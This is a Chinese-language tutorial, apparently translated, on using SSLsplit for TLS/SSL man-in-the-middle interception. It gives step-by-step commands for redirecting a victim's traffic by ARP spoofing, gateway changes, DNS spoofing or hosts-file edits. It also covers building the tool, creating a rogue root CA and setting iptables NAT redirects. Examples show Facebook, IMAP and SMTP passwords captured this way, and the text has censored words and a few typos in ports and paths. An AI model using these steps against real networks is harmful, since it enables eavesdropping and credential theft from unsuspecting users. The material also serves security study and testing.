SSLsplit是一个通用的透明TLS / SSL代理,用于对各种安全通信协议执行中间人***。 使用SSLsplit,可以拦截和保存基于SSL的流量,从而侦听任何安全连接。

1、 工作原理

SSLsplit的工作原理与其他透明SSL代理工具非常相似:它充当客户端和实际服务器之间的中间人。 如果将流量重定向到运行SSLsplit的服务器(通过更改默认网关,ARP欺骗或其他方式,请参见下文),则SSLsplit将选择SSL连接并假装为客户端正在连接的服务器。 为此,它动态生成证书,并使用客户端必须信任的CA证书的私钥对其进行签名。
例如,如果客户端希望使用安全的Gmail SMTP服务器(端口465上的smtp.gmail.com)发送电子邮件,则SSLsplit会为“ smtp.gmail.com”创建证书,从而假装为Gmail 邮件服务器发送给客户端。 在上游方向(指向实际的Gmail邮件服务器),SSLsplit像普通客户端一样连接到服务器-转发实际客户端在SSL套接字上写入的所有流量。

2、 SSLsplit的安装与运行

在解释了SSLsplit如何工作的基本概念之后,本节将介绍如何实际使用它来拦截SSL(和非SSL)流量。

2.1 重定向流量

本教程假定您已经将*者系统放置在受害者计算机和服务器之间的某个位置。 这可以通过许多不同的方式完成-以下是一些示例:
*>1)使用ARP欺骗通过将错误的映射从标准网关MAC地址发布到者的IP地址来重定向受害者的流量。 您无需物理访问受害者的设备即可执行此操作。 签出arpspoof工具。
2)在受害者的网络设置中更改默认网关地址。 如果您可以访问受害者的设备,这是最简单的方法。
3)使用DNS服务器伪造DNS条目,该DNS服务器返回者针对某些(或所有)域的IP地址。 有关如何使用Dnsmasq进行DNS欺骗的信息,请参阅我的教程。
4)通过修改受害者计算机的/etc/hosts文件中的条目,重定向各个域的流量。
如上所述,最简单的方法是将受害者设备中的默认网关地址更改为
者的IP地址。 这样可以确保所有流量都通过您的计算机。 而且由于以后我们需要安装CA证书,因此无论如何我们都需要对受害者计算机的物理访
问。

2.2 安装

要下载并编译SSLsplit,请运行以下命令:

1)wget http://mirror.roe.ch/rel/sslsplit/sslsplit-0.4.7.tar.bz2
2) bunzip2 sslsplit-0.4.7.tar.bz2
3) tar xvd sslsplit-0.4.7.tar
4) cd sslsplit-0.4.7
5) apt-get install libssl-dev libevent-dev
6) make
7) mkdir /tmp/sslsplit

这些命令下载并提取源代码(wget,bunzip2,tar),安装必要的依赖项(apt-get),然后使用make对其进行编译。
稍后在/tmp/sslsplit创建的临时目录用于转储连接日志文件以及传入和传出SSL套接字的原始数据。

2.3 创建与安装根CA证书

为了使SSLsplit充当SSL连接的中间人,它需要能够生成并签署受害人信任的证书。 为此,受害者必须在其信任库中拥有***者的根CA证书。 根据客户端的类型(台式浏览器,手机),安装根证书有所不同(有关Firefox,Windows,Android等的信息,请参见此处)。

如果您还没有自签名的CA私钥和证书,则可以使用以下命令生成一个:
1) openssl genrsa -out ca.key 4096
2) openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
第一条命令生成4096位RSA私钥PEM格式(ca.key),第二个命令使用此私钥生成自签名根CA证书(ca.crt)。 稍后SSLsplit都需要两者,但是仅证书文件需要安装在浏览器或受害者的操作系统。

2.4 启用IP转发和NAT引擎(iptables)

在此示例中,SSLsplit将在两个端口上运行:8080用于非SSL TCP连接(例如HTTP,SMTP或FTP),以及8443用于SSL连接(例如SMTP over SSL,HTTPS等)。为了转发到达 ***者的计算机访问这些内部端口后,可以使用iptables中的NAT引擎。

1) sysctl -w net.ipv4.ip_forward=1
2) iptables -t nat -F
3) iptables -t nat -A PREROUTING -p tcp —dport 80 -j REDIRECT —to-ports 8080
4) iptables -t nat -A PREROUTING -p tcp —dport 443 -j REDIRECT —to-ports 8443
5) iptables -t nat -A PREROUTING -p tcp —dport 587 -j REDIRECT —to-ports 8443
6) iptables -t nat -A PREROUTING -p tcp —dport 456 -j REDIRECT —to-ports 8443
7) iptables -t nat -A PREROUTING -p tcp —dport 993 -j REDIRECT —to-ports 8443
8) iptables -t nat -A PREROUTING -p tcp —dport 5222 -j REDIRECT —to-ports 8443

上面的命令首先启用IP转发(sysctl ...)以启用系统的路由器功能。 运行此命令后,Linux会将不打算用于本地计算机的IP数据包转发到其标准/默认网关,从而充当路由器。
为了防止Linux立即转发所有内容,可以定义NAT规则。 在此示例中,某些数据包重定向到本地端口8080和8443。端口HTTP(80)和WhatsApp(5222)上的纯文本流量的数据包重定向到端口8080,端口HTTPS(基于SSL的流量)数据包重定向。 443),基于SSL的IMAP(993),基于SSL的SMTP(465和587)重定向到端口8443。

2.5 运行SSLsplit

一旦启用IP转发并将数据包转发到相关端口,就可以启动SSLsplit。 这听起来比实际要容易,因为SSLsplit是一个非常强大的工具,因此非常灵活。 请查看SSLsplit网站上的简短文档以及更详细的SSLsplit手册页。
对于上述用例,明智的参数配置应如下所示:
1) ./sslsplit
2) -D
3) -l connections.log
4) -j /tmp/sslsplit/
5) -S logdir/
6) -k ca.key
7) -c ca.cer
8) ssl 0.0.0.0 8443
9) tcp 0.0.0.0 8080
此命令以调试模式启动SSLsplit(-D,在前台运行,没有守护程序,输出冗长),并在日志文件“ connections.log”(-l ..)中输出连接尝试。 连接的实际内容被写入“ / tmp / sslsplit / logdir /”(-j ..和-S ..)-每个连接的每个传入/传出TCP流都在单独的文件中。
就是这个。 假设您已经正确配置了客户端,则现在可以开始浏览并发送/接收电子邮件。
除了控制台输出外,SSLsplit还将TCP套接字会话写到上述日志目录中。 在运行SSLsplit一段时间后,日志目录中将有很多文件,每个都是客户端与服务器之间的连接或TCP套接字。br/>root@pbox:/tmp/sslsplit/logdir#ls
每个文件都指示打开TCP套接字的确切时间以及源IP地址和目标IP地址以及端口。 您可以使用head …窥视文件,或使用喜欢的文本编辑器:
root@pbox:/tmp/sslsplit/logdir#head ***

3、例子

您可以使用SSLsplit侦听许多不同的协议。 以下是HTTPS,基于SSL的IMAP和基于SSL的SMTP的一些示例。

3.1 嗅探HTTPS

SSLsplit运行后,客户端与实际服务器之间的所有通信都会通过SSLsplit。 使用-D选项,SSLsplit在STDOUT上打印连接和证书伪造。 除此之外,内容被写入日志目录(“ / tmp / sslsplit / logdir /”)。 使用tail -f之类的东西/tmp/sslsplit/loggdir/20130804T162301Z-*.log,您可以跟踪服务器与客户端之间的通信。
使用sslsplit嗅探TLS/SSL连接
在上面的屏幕截图中,上方的控制台窗口显示了SSLsplit的输出。 它显示了真实的上游Facebook证书(具有指纹f5:6b:f2:44:…),以及由SSLsplit伪造的证书-自然带有不同的指纹,因为它是由不同的证书颁发机构签名的。
下部的控制台窗口显示了浏览器和浏览器之间HTTPS通信的内容。
Facebook服务器。 屏幕截图示例显示了对 “
https://www.facebook.com/login.php?login_attempt=1”的HTTPS POST请求,包括我的用户名(&email = ...)和密码(&pass = …)。
如果在通过SSLsplit重定向流量时单击任何SSL / TLS加密站点上的小锁图标,则会将证书颁发给真实的通用名称(CN),组织(O)和组织单位(OU),但不会 由真正的CA发布。
上面的示例显示了由我先前生成的“假CA证书”颁发的 “ www.google.de”假证书。

3.2 嗅探IMAP over SSL

在第二个示例中,我使用某工具连接到我的邮箱帐户。 与基于Web的邮件客户端不同,连接工具通过端口143上的IMAP或通过端口993上的SSL上的IMAP连接到邮件服务器。端口143上的通信未加密,可以用其他工具(Wireshark,tcpdump等)读取 ,基于SSL的IMAP需要一个中间人代理来拆分SSL通信。
使用sslsplit嗅探TLS/SSL连接
上面的屏幕截图捕获了连接工具与端口993上的邮件IMAP服务器的初始连接。像第一个示例一样,上层控制台显示了SSLsplit调试输出(显示 SSLsplit伪造证书的方式),下层控制台显示通过SSL套接字交换的字节。
正如您在屏幕快照中看到的那样,IMAP通讯包括客户端和服务器功能(1个功能)的交换,以及服务器开发人员的一些内在笑话(1 OK,这就是她写的所有...),以及 身份验证(3个登录名“ e-mail@gmail.com”“密码”)。 后一部分可能是***者最感兴趣的部分。
身份验证之后,客户端和服务器都同意使用压缩(4 COMPRESS DEFLATE)继续对话,因此消息的其余部分自然不再是人类可读的。 但是,由于仅压缩而不加密,因此可以使用简单的Linux工具使其可读

3.3 嗅探SMTP over SSL

您可能已经猜到了,该方法也适用于SSL上的SMTP:在此示例中,我使用连接工具通过端口465上的邮件SMTP服务器向自己发送了一封电子邮件。
使用sslsplit嗅探TLS/SSL连接
与其他两个示例一样,该屏幕快照在上部控制台窗口中显示SSLsplit输出,而在下部控制台中显示会话输出。 SMTP对话显示了对Gmail服务器的幽默问候(服务时为250-mx.google.com ...),以及使用SMTP AUTH(AUTH PLAIN ...)对Thunderbird客户端的初始登录。 然后,它将开始使用标准SMTP命令(MAIL FROM,RCPT TO等)起草邮件。同样,最有趣的部分是纯文本身份验证:由于传输是安全的,因此密码以纯文本形式发送-仅使用Base64进行编码。